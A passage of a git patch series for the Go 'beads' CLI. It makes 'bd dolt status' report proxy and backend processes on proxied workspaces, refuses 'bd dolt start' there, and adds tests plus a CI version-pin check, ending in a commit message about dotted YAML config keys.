corruption guard +// should not wait for it. +func proxiedDoltStartRefusal() *ProxyCapabilityError { + return &ProxyCapabilityError{ + Code: proxyDoltStartConflictCode, + Message: proxyDoltStartConflictMessage, + ExitCode: 1, + } +} + +// proxiedDoltStatus is the `bd dolt status --json` payload for a proxied +// workspace. It reports the two processes separately because they fail +// separately and an operator's next move differs: Running describes the proxy, +// which is the endpoint every bd command connects through, while the Backend* +// fields describe the dolt server behind it. +type proxiedDoltStatus struct { + Mode string `json:"mode"` + Root string `json:"root"` + Running bool `json:"running"` + ProxyPID int `json:"proxy_pid,omitempty"` + ProxyPort int `json:"proxy_port,omitempty"` + // BackendManaged is false on an external proxied topology, where the + // dolt server is somebody else's process and BackendRunning says nothing + // about it. Without this flag a caller cannot tell "the backend is down" + // from "bd never had a backend to report". + BackendManaged bool `json:"backend_managed"` + BackendRunning bool `json:"backend_running"` + BackendPID int `json:"backend_pid,omitempty"` + BackendPort int `json:"backend_port,omitempty"` + BackendEndpoint string `json:"backend_endpoint,omitempty"` + IdleTimeout string `json:"idle_timeout,omitempty"` +} + +func collectProxiedDoltStatus(beadsDir string) (proxiedDoltStatus, error) { + root, err := resolveProxiedServerRootPath(beadsDir) + if err != nil { + return proxiedDoltStatus{}, err + } + live := proxy.ReadStatus(root) + status := proxiedDoltStatus{ + Mode: configfile.DoltModeProxiedServer, + Root: root, + Running: live.ProxyRunning, + ProxyPID: live.ProxyPID, + ProxyPort: live.ProxyPort, + BackendManaged: true, + BackendRunning: live.BackendRunning, + BackendPID: live.BackendPID, + BackendPort: live.BackendPort, + } + + info, err := configfile.LoadProxiedServerClientInfo(beadsDir) + if err != nil { + return proxiedDoltStatus{}, err + } + // A missing sidecar means the workspace predates it or was hand-edited; + // managed-local is the default topology, and the pid records already read + // above are the authority on what is actually running either way. + if info != nil { + if info.IdleTimeout > 0 { + status.IdleTimeout = info.IdleTimeout.String() + } + if info.External != nil { + status.BackendManaged = false + status.BackendEndpoint = externalDoltEndpoint(*info.External) + } + } + return status, nil +} + +func externalDoltEndpoint(cfg configfile.ExternalDoltConfig) string { + if cfg.Socket != "" { + return "unix:" + cfg.Socket + } + return net.JoinHostPort(cfg.Host, strconv.Itoa(cfg.Port)) +} + +func renderProxiedDoltStatus(status proxiedDoltStatus) { + if jsonOutput { + if err := outputJSON(status); err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + } + return + } + + if status.Running { + fmt.Printf("Dolt server: running (%s)\n", status.Mode) + fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) + fmt.Printf(" Proxy port: %d\n", status.ProxyPort) + } else { + fmt.Printf("Dolt server: not running (%s)\n", status.Mode) + } + fmt.Printf(" Root: %s\n", status.Root) + switch { + case !status.BackendManaged: + fmt.Printf(" Backend: external at %s (not managed by bd)\n", status.BackendEndpoint) + case status.BackendRunning: + fmt.Printf(" Backend: running (dolt PID %d, port %d)\n", status.BackendPID, status.BackendPort) + default: + fmt.Println(" Backend: not running") + } + if status.IdleTimeout != "" { + fmt.Printf(" Idle timeout: %s\n", status.IdleTimeout) + } + if !status.Running { + fmt.Println(" The proxy starts on demand; the next bd command launches it.") + } + if isDoltLocalOnly() { + fmt.Println(" Remote sync: disabled (dolt.local-only=true)") + } +} diff --git a/cmd/bd/dolt_proxied_lifecycle_test.go b/cmd/bd/dolt_proxied_lifecycle_test.go new file mode 100644 index 000000000..d12f87d0b --- /dev/null +++ b/cmd/bd/dolt_proxied_lifecycle_test.go @@ -0,0 +1,187 @@ +package main + +import ( + "encoding/json" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/configfile" +) + +// TestProxiedDoltStartRefusalContract pins the parts downstream consumers +// branch on. The code is frozen; the message is informative and may be +// reworded, but it has to keep naming the mode and pointing somewhere useful, +// because "start refused" with no onward path is what sends an operator +// looking for a manual workaround. +func TestProxiedDoltStartRefusalContract(t *testing.T) { + err := proxiedDoltStartRefusal() + if err.Code != "proxy.dolt_start.conflict" { + t.Errorf("code = %q, want %q", err.Code, "proxy.dolt_start.conflict") + } + if err.ExitCode != 1 { + t.Errorf("exit code = %d, want 1", err.ExitCode) + } + if err.Mutates { + t.Error("mutates = true; a refused start changes nothing") + } + for _, want := range []string{"proxied-server mode", "bd dolt status", "bd dolt stop"} { + if !strings.Contains(err.Message, want) { + t.Errorf("message does not mention %q: %q", want, err.Message) + } + } +} + +func TestExternalDoltEndpoint(t *testing.T) { + for _, tc := range []struct { + name string + cfg configfile.ExternalDoltConfig + want string + }{ + {"tcp", configfile.ExternalDoltConfig{Host: "127.0.0.1", Port: 3310}, "127.0.0.1:3310"}, + {"ipv6", configfile.ExternalDoltConfig{Host: "::1", Port: 3310}, "[::1]:3310"}, + {"socket wins", configfile.ExternalDoltConfig{Socket: "/tmp/dolt.sock"}, "unix:/tmp/dolt.sock"}, + } { + t.Run(tc.name, func(t *testing.T) { + if got := externalDoltEndpoint(tc.cfg); got != tc.want { + t.Errorf("externalDoltEndpoint = %q, want %q", got, tc.want) + } + }) + } +} + +// TestCollectProxiedDoltStatusQuiescentRoot covers the case an operator hits +// most: nothing is running yet. The answer has to be "not running" WITHOUT +// starting anything — a status command that spawns the topology it is +// reporting on would defeat the idle reaper it is reporting about. +func TestCollectProxiedDoltStatusQuiescentRoot(t *testing.T) { + beadsDir := t.TempDir() + root := filepath.Join(beadsDir, "dolt") + t.Setenv("BEADS_PROXIED_SERVER_ROOT_PATH", root) + + status, err := collectProxiedDoltStatus(beadsDir) + if err != nil { + t.Fatalf("collectProxiedDoltStatus: %v", err) + } + if status.Mode != "proxied-server" { + t.Errorf("mode = %q, want %q", status.Mode, "proxied-server") + } + if status.Root != root { + t.Errorf("root = %q, want %q", status.Root, root) + } + if status.Running || status.BackendRunning { + t.Errorf("reported something running for an empty root: %+v", status) + } + if !status.BackendManaged { + t.Error("backend_managed = false with no external sidecar; managed-local is the default topology") + } + if entries, _ := filepath.Glob(filepath.Join(root, "*")); len(entries) != 0 { + t.Errorf("reading status created %v under the proxied root", entries) + } +} + +func TestCollectProxiedDoltStatusExternalTopology(t *testing.T) { + beadsDir := t.TempDir() + root := filepath.Join(beadsDir, "dolt") + t.Setenv("BEADS_PROXIED_SERVER_ROOT_PATH", root) + if err := configfile.SaveProxiedServerClientInfo(beadsDir, &configfile.ProxiedServerClientInfo{ + IdleTimeout: 45 * time.Second, + External: &configfile.ExternalDoltConfig{Host: "10.0.0.5", Port: 3306}, + }); err != nil { + t.Fatalf("SaveProxiedServerClientInfo: %v", err) + } + + status, err := collectProxiedDoltStatus(beadsDir) + if err != nil { + t.Fatalf("collectProxiedDoltStatus: %v", err) + } + if status.BackendManaged { + t.Error("backend_managed = true for an external topology; bd spawns no dolt there") + } + if status.BackendEndpoint != "10.0.0.5:3306" { + t.Errorf("backend_endpoint = %q, want %q", status.BackendEndpoint, "10.0.0.5:3306") + } + if status.IdleTimeout != "45s" { + t.Errorf("idle_timeout = %q, want %q", status.IdleTimeout, "45s") + } +} + +func TestRenderProxiedDoltStatus(t *testing.T) { + running := proxiedDoltStatus{ + Mode: "proxied-server", Root: "/w/.beads/dolt", Running: true, + ProxyPID: 111, ProxyPort: 40001, + BackendManaged: true, BackendRunning: true, BackendPID: 222, BackendPort: 40002, + IdleTimeout: "30s", + } + + t.Run("text reports both processes", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + out := captureStdout(t, func() error { renderProxiedDoltStatus(running); return nil }) + for _, want := range []string{ + "Dolt server: running (proxied-server)", + "Proxy PID: 111", + "Proxy port: 40001", + "Root: /w/.beads/dolt", + "Backend: running (dolt PID 222, port 40002)", + "Idle timeout: 30s", + } { + if !strings.Contains(out, want) { + t.Errorf("missing %q in:\n%s", want, out) + } + } + }) + + t.Run("text says how to start it when down", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + down := running + down.Running, down.ProxyPID, down.ProxyPort = false, 0, 0 + down.BackendRunning, down.BackendPID, down.BackendPort = false, 0, 0 + out := captureStdout(t, func() error { renderProxiedDoltStatus(down); return nil }) + for _, want := range []string{ + "Dolt server: not running (proxied-server)", + "Backend: not running", + "The proxy starts on demand", + } { + if !strings.Contains(out, want) { + t.Errorf("missing %q in:\n%s", want, out) + } + } + }) + + t.Run("text marks an external backend as somebody else's", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + external := running + external.BackendManaged, external.BackendRunning = false, false + external.BackendEndpoint = "10.0.0.5:3306" + out := captureStdout(t, func() error { renderProxiedDoltStatus(external); return nil }) + if !strings.Contains(out, "Backend: external at 10.0.0.5:3306 (not managed by bd)") { + t.Errorf("external backend not described:\n%s", out) + } + if strings.Contains(out, "Backend: not running") { + t.Errorf("external backend reported as down; bd has no record to say that from:\n%s", out) + } + }) + + t.Run("json carries the process records", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = true + out := captureStdout(t, func() error { renderProxiedDoltStatus(running); return nil }) + var got proxiedDoltStatus + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &got); err != nil { + t.Fatalf("decode %q: %v", out, err) + } + if got != running { + t.Errorf("round-trip mismatch:\ngot %+v\nwant %+v", got, running) + } + }) +} + +func restoreJSONOutput(t *testing.T) func() { + t.Helper() + orig := jsonOutput + return func() { jsonOutput = orig } +} diff --git a/cmd/bd/proxied_local_dolt_lifecycle_test.go b/cmd/bd/proxied_local_dolt_lifecycle_test.go new file mode 100644 index 000000000..97568590d --- /dev/null +++ b/cmd/bd/proxied_local_dolt_lifecycle_test.go @@ -0,0 +1,321 @@ +//go:build cgo && unix + +package main + +// Front-door lifecycle coverage for `bd dolt status` and `bd dolt start` on a +// MANAGED-LOCAL proxied workspace, plus the direct/embedded control that keeps +// the proxied guard from leaking into topologies bd really does manage. +// +// These live in the managed-local lane (TestManagedLocalProxied* runs under +// proxied-local-smoke.yml) because they are the only lane with a real proxy +// supervising a real dolt child: the defects being covered are about which +// process record bd reads and which process bd spawns, and neither is +// observable against an external testcontainer. + +import ( + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// classicServerArtifacts are the files bd writes when IT owns a dolt +// sql-server. On a proxied workspace their appearance is the signature of the +// second-writer hazard: bd has spawned or adopted a server over the root the +// proxy serves, and now holds lifecycle state for a process it does not own. +var classicServerArtifacts = []string{ + doltserver.PIDFileName, + doltserver.PortFileName, + "dolt-server-config.yaml", +} + +// stopStrayClassicServer tears down a classic sql-server if one was recorded +// for beadsDir. It exists so that a RED run of these tests — where `bd dolt +// start` still spawns its own server over the proxied root — cannot leak that +// process past the test. Teardown goes through doltserver.Stop, which signals +// only the PID bd itself recorded. +func stopStrayClassicServer(t *testing.T, beadsDir string) { + t.Helper() + serverDir := doltserver.ResolveServerDir(beadsDir) + if _, err := os.Stat(filepath.Join(serverDir, doltserver.PIDFileName)); err != nil { + return + } + t.Logf("stray classic dolt-server.pid found under %s; stopping it", serverDir) + if err := doltserver.Stop(serverDir); err != nil { + t.Logf("doltserver.Stop(%s): %v", serverDir, err) + } +} + +func assertNoClassicServerArtifacts(t *testing.T, beadsDir, when string) { + t.Helper() + for _, name := range classicServerArtifacts { + path := filepath.Join(beadsDir, name) + if _, err := os.Stat(path); err == nil { + body, _ := os.ReadFile(path) // #nosec G304 - test-owned temp path + t.Errorf("%s: %s exists on a proxied workspace (contents %q); bd took ownership of a server over the proxied root", + when, name, strings.TrimSpace(string(body))) + } + } +} + +// TestManagedLocalProxiedDoltStatusReportsLiveTopology pins the truthfulness +// half of the fix: with a proxy and its dolt child both live, `bd dolt status` +// must report them. Before the fix it read the classic pidfile, which a +// proxied workspace never writes, and answered "not running" — a confident +// lie, and the reason an operator would reach for `bd dolt start` next. +func TestManagedLocalProxiedDoltStatusReportsLiveTopology(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "mlstat", 5*time.Minute) + bdProxiedCreate(t, bd, p.dir, "status sentinel") + + proxyPid := readManagedProxyPidFile(t, p) + if proxyPid == nil || !processAlive(proxyPid.Pid) { + t.Fatalf("expected a live proxy after a create; pidfile=%+v", proxyPid) + } + backendPid := readManagedBackendPidFile(t, p) + if backendPid == nil || !processAlive(backendPid.Pid) { + t.Fatalf("expected a live dolt backend after a create; pidfile=%+v", backendPid) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + var got struct { + Mode string `json:"mode"` + Running bool `json:"running"` + ProxyPID int `json:"proxy_pid"` + ProxyPort int `json:"proxy_port"` + BackendRunning bool `json:"backend_running"` + BackendPID int `json:"backend_pid"` + BackendPort int `json:"backend_port"` + Root string `json:"root"` + } + if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr != nil { + t.Fatalf("decode dolt status JSON: %v\nstdout:\n%s", jsonErr, stdout) + } + if got.Mode != "proxied-server" { + t.Errorf("mode=%q, want %q (status must name the topology it is describing)", got.Mode, "proxied-server") + } + if !got.Running { + t.Errorf("running=false while proxy pid %d is alive; status is reporting the wrong process record", proxyPid.Pid) + } + if got.ProxyPID != proxyPid.Pid { + t.Errorf("proxy_pid=%d, want %d (from %s)", got.ProxyPID, proxyPid.Pid, proxy.PIDFileName) + } + if got.ProxyPort != proxyPid.Port { + t.Errorf("proxy_port=%d, want %d (from %s)", got.ProxyPort, proxyPid.Port, proxy.PIDFileName) + } + if !got.BackendRunning { + t.Errorf("backend_running=false while dolt pid %d is alive", backendPid.Pid) + } + if got.BackendPID != backendPid.Pid { + t.Errorf("backend_pid=%d, want %d (from %s)", got.BackendPID, backendPid.Pid, server.PIDFileName) + } + if got.BackendPort != backendPid.Port { + t.Errorf("backend_port=%d, want %d (from %s)", got.BackendPort, backendPid.Port, server.PIDFileName) + } + if got.Root != p.proxyRoot { + t.Errorf("root=%q, want %q", got.Root, p.proxyRoot) + } + + textOut, textErr, err := bdProxiedRunBuffers(t, bd, p.dir, "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status (text) failed: %v\nstdout:\n%s\nstderr:\n%s", err, textOut, textErr) + } + if strings.Contains(textOut, "Dolt server: not running") { + t.Errorf("text status still claims the server is not running:\n%s", textOut) + } + for _, want := range []string{"proxied-server", "Backend"} { + if !strings.Contains(textOut, want) { + t.Errorf("text status missing %q:\n%s", want, textOut) + } + } + + // Reading status must not disturb what it is reporting on. + if after := readManagedProxyPidFile(t, p); after == nil || after.Pid != proxyPid.Pid { + t.Errorf("proxy pidfile changed across a status read: before=%+v after=%+v", proxyPid, after) + } + assertNoClassicServerArtifacts(t, p.beadsDir, "after bd dolt status") +} + +// TestManagedLocalProxiedDoltStartRefusesOverLiveProxy covers the hazard in +// its live-topology shape: with the proxy up, `bd dolt start` used to adopt +// the proxy's own dolt child into bd's classic server bookkeeping, leaving two +// managers for one process. +func TestManagedLocalProxiedDoltStartRefusesOverLiveProxy(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "mlstart", 5*time.Minute) + t.Cleanup(func() { stopStrayClassicServer(t, p.beadsDir) }) + bdProxiedCreate(t, bd, p.dir, "start sentinel") + + proxyBefore := readManagedProxyPidFile(t, p) + backendBefore := readManagedBackendPidFile(t, p) + if proxyBefore == nil || backendBefore == nil { + t.Fatalf("expected a live proxy and backend; proxy=%+v backend=%+v", proxyBefore, backendBefore) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "start") + if err == nil { + t.Errorf("bd dolt start succeeded on a live proxied workspace:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + assertProxyStartRefusal(t, stdout, stderr) + assertNoClassicServerArtifacts(t, p.beadsDir, "after bd dolt start") + + proxyAfter := readManagedProxyPidFile(t, p) + backendAfter := readManagedBackendPidFile(t, p) + if proxyAfter == nil || proxyAfter.Pid != proxyBefore.Pid { + t.Errorf("proxy record changed across a refused start: before=%+v after=%+v", proxyBefore, proxyAfter) + } + if backendAfter == nil || backendAfter.Pid != backendBefore.Pid { + t.Errorf("backend record changed across a refused start: before=%+v after=%+v", backendBefore, backendAfter) + } +} + +// TestManagedLocalProxiedDoltStartRefusesWithProxyDown covers the same hazard +// in its damaging shape. A proxied workspace whose proxy has idled out still +// has a proxied ROOT, and the classic start path resolves that root's port +// from its config.yaml: `bd dolt start` used to launch a real, unmanaged dolt +// sql-server directly over the proxy's data directory. The next ordinary bd +// command then failed, because the proxy came up and found a foreign server on +// its port. The workspace staying usable afterwards is the assertion that +// matters most here. +func TestManagedLocalProxiedDoltStartRefusesWithProxyDown(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "mldown", 5*time.Minute) + t.Cleanup(func() { stopStrayClassicServer(t, p.beadsDir) }) + bdProxiedCreate(t, bd, p.dir, "down sentinel") + + if err := proxy.Shutdown(p.proxyRoot); err != nil { + t.Fatalf("proxy.Shutdown(%s): %v", p.proxyRoot, err) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "start") + if err == nil { + t.Errorf("bd dolt start succeeded against a quiesced proxied root:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + assertProxyStartRefusal(t, stdout, stderr) + assertNoClassicServerArtifacts(t, p.beadsDir, "after bd dolt start with the proxy down") + + // The workspace must still work. Pre-fix this create failed with + // "invalid connection": the proxy relaunched and adopted the foreign + // server `bd dolt start` had left on its port. + out, createErr := bdProxiedRun(t, bd, p.dir, "create", "--json", "post-refusal write") + if createErr != nil { + t.Fatalf("workspace unusable after a refused dolt start: %v\n%s", createErr, out) + } +} + +func assertProxyStartRefusal(t *testing.T, stdout, stderr string) { + t.Helper() + var got struct { + Code string `json:"code"` + Error string `json:"error"` + Mutates bool `json:"mutates"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); err != nil { + t.Errorf("dolt start refusal is not typed JSON (%v)\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + return + } + if got.Code != proxyDoltStartConflictCode { + t.Errorf("refusal code=%q, want %q", got.Code, proxyDoltStartConflictCode) + } + if got.Mutates { + t.Errorf("refusal reported mutates=true; a refused start changes nothing") + } + if !strings.Contains(got.Error, "proxied-server mode") { + t.Errorf("refusal message does not name the mode: %q", got.Error) + } +} + +// TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone is the +// non-regression control for the two tests above: the proxied guard keys on +// the workspace's own mode, so an embedded workspace and a bd-managed direct +// local server must behave exactly as they did before. It runs in this lane +// rather than a direct-server one because this is the lane that installs the +// dolt CLI the direct case needs. +func TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + + t.Run("embedded", func(t *testing.T) { + dir, _, _ := bdInit(t, bd) + + statusOut, statusErr, err := runDirectBD(t, bd, dir, false, "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed on embedded: %v\nstdout:\n%s\nstderr:\n%s", err, statusOut, statusErr) + } + if !strings.Contains(statusOut, "Dolt engine: embedded (in-process, no server)") { + t.Errorf("embedded status changed:\n%s", statusOut) + } + + startOut, startErr, err := runDirectBD(t, bd, dir, false, "dolt", "start") + if err == nil { + t.Fatalf("bd dolt start unexpectedly succeeded on embedded:\n%s", startOut) + } + if !strings.Contains(startErr, "'bd dolt start' is not supported in embedded mode (no Dolt server)") { + t.Errorf("embedded start refusal changed:\nstdout:\n%s\nstderr:\n%s", startOut, startErr) + } + }) + + t.Run("direct-local-server", func(t *testing.T) { + dir := t.TempDir() + initGitRepoAt(t, dir) + if out, errOut, err := runDirectBD(t, bd, dir, true, "init", "--quiet", "--server", "--prefix", "dls"); err != nil { + t.Fatalf("bd init --server failed: %v\nstdout:\n%s\nstderr:\n%s", err, out, errOut) + } + beadsDir := filepath.Join(dir, ".beads") + t.Cleanup(func() { stopStrayClassicServer(t, beadsDir) }) + + startOut, startErr, err := runDirectBD(t, bd, dir, true, "dolt", "start") + if err != nil { + t.Fatalf("bd dolt start failed on a direct local server: %v\nstdout:\n%s\nstderr:\n%s", err, startOut, startErr) + } + if !strings.Contains(startOut, "Dolt server started (PID ") { + t.Fatalf("direct start output changed:\n%s", startOut) + } + + statusOut, statusErr, err := runDirectBD(t, bd, dir, true, "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed on a direct local server: %v\nstdout:\n%s\nstderr:\n%s", err, statusOut, statusErr) + } + if !strings.Contains(statusOut, "Dolt server: running") { + t.Errorf("direct status did not report the server bd just started:\n%s", statusOut) + } + + stopOut, stopErr, err := runDirectBD(t, bd, dir, true, "dolt", "stop") + if err != nil { + t.Fatalf("bd dolt stop failed on a direct local server: %v\nstdout:\n%s\nstderr:\n%s", err, stopOut, stopErr) + } + if !strings.Contains(stopOut, "Dolt server stopped.") { + t.Errorf("direct stop output changed:\n%s", stopOut) + } + }) +} + +// runDirectBD runs bd against a NON-proxied workspace. autoStart controls +// BEADS_DOLT_AUTO_START: the direct-server case needs it on, because +// bd dolt status routes a local server with auto-start disabled to the +// external SQL-probe path instead of the pidfile path under test. +func runDirectBD(t *testing.T, bd, dir string, autoStart bool, args ...string) (string, string, error) { + t.Helper() + env := bdEnv(dir) + if autoStart { + env = append(envWithout(env, "BEADS_DOLT_AUTO_START"), "BEADS_DOLT_AUTO_START=1") + } + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = env + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err +} diff --git a/internal/storage/dbproxy/proxy/read_status.go b/internal/storage/dbproxy/proxy/read_status.go new file mode 100644 index 000000000..14c996db2 --- /dev/null +++ b/internal/storage/dbproxy/proxy/read_status.go @@ -0,0 +1,62 @@ +package proxy + +import ( + "github.com/steveyegge/beads/internal/procid" + "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// Status is a point-in-time description of the process tree under a proxied +// root: the proxy bd connects through, and the dolt backend the proxy +// supervises on a managed-local topology. +type Status struct { + ProxyRunning bool + ProxyPID int + ProxyPort int + // BackendRunning describes the proxy-child record only. An external + // proxied topology never writes one — bd spawns no dolt there — so a + // false value means "bd supervises no backend here", which is not the + // same claim as "the database is down". Callers that can tell the + // topologies apart must say which one they are reporting. + BackendRunning bool + BackendPID int + BackendPort int +} + +// ReadStatus answers what is running under rootDir without starting, +// stopping, or adopting anything: it reads the two pid records and verifies +// the recorded processes are still the ones that wrote them. Safe for +// diagnostics, which is the whole point — a reporting command must not have +// lifecycle side effects. +func ReadStatus(rootDir string) Status { + var st Status + if discovery := readAndDial(rootDir); discovery.status == adoptionAdopted { + st.ProxyRunning = true + st.ProxyPID = discovery.pidfile.Pid + st.ProxyPort = discovery.pidfile.Port + } + st.BackendRunning, st.BackendPID, st.BackendPort = readBackendRecord(rootDir) + return st +} + +// readBackendRecord verifies the supervised dolt backend from its pidfile. +// Unlike the proxy there is no control channel to interrogate — the backend is +// a plain dolt sql-server — so identity stops at the birth token. That still +// rejects a recycled pid, which a bare liveness check would not, and it is the +// same first gate the proxy's own adoption path applies. A record that fails +// any check reports nothing rather than a pid a caller might act on: a stale +// record's pid is precisely the one that must not be signaled. +func readBackendRecord(rootDir string) (running bool, pid int, port int) { + pf, err := pidfile.Read(rootDir, server.PIDFileName) + if err != nil || pf == nil { + return false, 0, 0 + } + if err := pf.ValidateV2(pidfile.KindDoltBackend); err != nil { + return false, 0, 0 + } + matched, err := verifyProcessIdentity(pf.Pid, procid.Token(pf.Birth)) + if err != nil || !matched { + return false, 0, 0 + } + return true, pf.Pid, pf.Port +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 18ffc071f..b92665797 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1294,6 +1294,32 @@ func TestPinnedDoltCLIMatchesContainerImage(t *testing.T) { } } +// TestProxiedLocalSmokeMatchesPinnedDoltVersion keeps the proxied-local-smoke +// lane's standalone Dolt CLI install on the same release as the rest of the +// suite. That lane downloads its own dolt binary straight from GitHub +// releases instead of going through scripts/ci/install-dolt.sh, so nothing +// else catches it drifting off the measured pin (see "Which Dolt version to +// install" in docs/architecture/dolt.md for why the pin is not just "latest"). +func TestProxiedLocalSmokeMatchesPinnedDoltVersion(t *testing.T) { + root := sourceRepoRoot(t) + + installer, err := os.ReadFile(filepath.Join(root, "scripts", "ci", "install-dolt.sh")) + if err != nil { + t.Fatal(err) + } + cliVersion := captureOne(t, `(?m)^readonly version="([0-9]+\.[0-9]+\.[0-9]+)"$`, string(installer), "scripts/ci/install-dolt.sh") + + workflow, err := os.ReadFile(filepath.Join(root, ".github", "workflows", "proxied-local-smoke.yml")) + if err != nil { + t.Fatal(err) + } + smokeVersion := captureOne(t, `(?m)^\s*DOLT_VERSION:\s*([0-9]+\.[0-9]+\.[0-9]+)\s*$`, string(workflow), "proxied-local-smoke.yml:DOLT_VERSION") + + if cliVersion != smokeVersion { + t.Errorf("dolt pins disagree: CLI %s, proxied-local-smoke.yml DOLT_VERSION %s", cliVersion, smokeVersion) + } +} + func captureOne(t *testing.T, pattern, body, source string) string { t.Helper() From 76860ebdfbbb7a8676675a9a9df589877f9c3db8 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 16 Sep 2026 02:52:51 -0700 Subject: [PATCH 053/624] fix(config): dotted keys round-trip through SetYamlConfigInDir/UnsetYamlConfig (bd-zj95, 1.3.1) [release/1.3.0] (#6578) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(config): make a dotted key round-trip through SetYamlConfigInDir (bd-zj95) SetYamlConfigInDir writes dotted keys; GetStringFromDir reads them by splitting on the dot and walking nested mappings; UnsetYamlConfig removes them. Those are three directions of ONE round-trip property, and set/get was broken in two ways, both reachable from ordinary files: - An empty or comment-only config.yaml has no mapping node, so the nested writer declined and the caller appended a literal 'dolt.host: ...' line — a key whose NAME contains a dot. Nothing that splits on the dot can ever find it. - A file that already carried such a flat key had it updated in place, which preserved the unreadable shape forever. So a caller could write a value and immediately be unable to read it back. Two consumers found it the hard way: bd's ownership handoff, whose commit write-set refused itself on dolt.auto-start, and a Gas City managed city, whose .beads/config.yaml is entirely flat dotted keys. Six shipped call sites write a dotted key through this path, and every one of them is a write into a .beads/config.yaml that may be empty or comment-only — exactly the shape that produced the unreadable spelling: cmd/bd/bootstrap.go:1108 sync.remote cmd/bd/dolt.go:481 sync.remote cmd/bd/init.go:3386, :3394 sync.remote cmd/bd/migrate_dolt_mode.go:810 dolt.shared-server cmd/bd/migrate_dolt_mode.go:1168 dolt.shared-server An empty document now gets a mapping made for it, and a flat key of the name being written is migrated to the nested form rather than updated in place. Only the key being written is touched: a dotted key this call does not own belongs to someone else and is left exactly as they wrote it. Table test over nine file shapes — absent, empty, comment-only, flat, flat commented, existing section, unrelated nested, unrelated flat, and mixed — each asserting both that every key reads back and that no unreadable flat spelling survives. (cherry picked from commit cbe9bd6ca03416a76441e560bdec9fa67add99c5) Co-Authored-By: Claude Fable 5.1 * fix(config): unset a dotted key in the shape the writer produces Writing a dotted key nested and then being unable to unset it is the same round-trip break in the other direction. Set, get and unset are three directions of ONE property, and all three have to agree on the shape: UnsetYamlConfig comments out the line matching the key, and its pattern only ever matched a FLAT 'sync.remote:' line. Once the writer nests, an unset silently does nothing and the value stays live — for sync.remote that means bd keeps a remote the operator asked it to forget. commentOutYamlKey now walks the nesting, tracking indentation per segment so a key is commented only when it sits under its OWN parents rather than under some other section sharing a leaf name. The flat spelling is still handled, because files written by older bds carry it. This is what closes the loop for the shipped unset paths — cmd/bd/config.go:578 ('bd config unset'), cmd/bd/dolt.go:1761 and cmd/bd/dolt_remote_proxied_server.go:34 — against the six writers the previous commit nests: sync.remote at cmd/bd/bootstrap.go:1108, cmd/bd/dolt.go:481 and cmd/bd/init.go:3386/:3394, and dolt.shared-server at cmd/bd/migrate_dolt_mode.go:810/:1168. TestFinalizeSyncedBootstrapWritesConfigFiles moves with it. It required a literal 'sync.remote: ' line — a key whose name contains a dot, the one shape GetStringFromDir and viper can never find, because both split on the dot and walk nested mappings. That assertion passed for exactly as long as the value was unreadable and failed the moment it became readable, so it now asserts what bootstrap actually owes its caller: a remote that reads back. (cherry picked from the internal/config half of commit 7f1ec4799a3e8af0a89b8f97c28ec30082fedbb7) Co-Authored-By: Claude Fable 5.1 * test(cmd/bd): assert the sync.remote round trip, not a YAML spelling Six cmd/bd test sites baked the flat spelling. They passed BECAUSE the bug was present, and that is the part worth recording. Viper finds a literal dotted key as well as a nested one; GetStringFromDir does not, because it splits on the dot and walks mappings. So these tests exercised config.yaml through ONE reader while the value was invisible to the other. They were green for exactly as long as the value was unreadable, and TestFinalizeSyncedBootstrapWritesConfigFiles failed on macOS and Linux CI the moment it became readable. A test that only passes while a bug is live does not merely fail to catch it — it defends it. bootstrap_guard_test.go:84 seed bootstrap_test.go:358, :410 seed bootstrap_test.go:1330 assert (accepted 'sync.remote: ' OR 'sync-remote: ', neither readable) dolt_worktree_remote_test.go:55 assert init_remote_test.go:128 seed All six now assert the round trip through 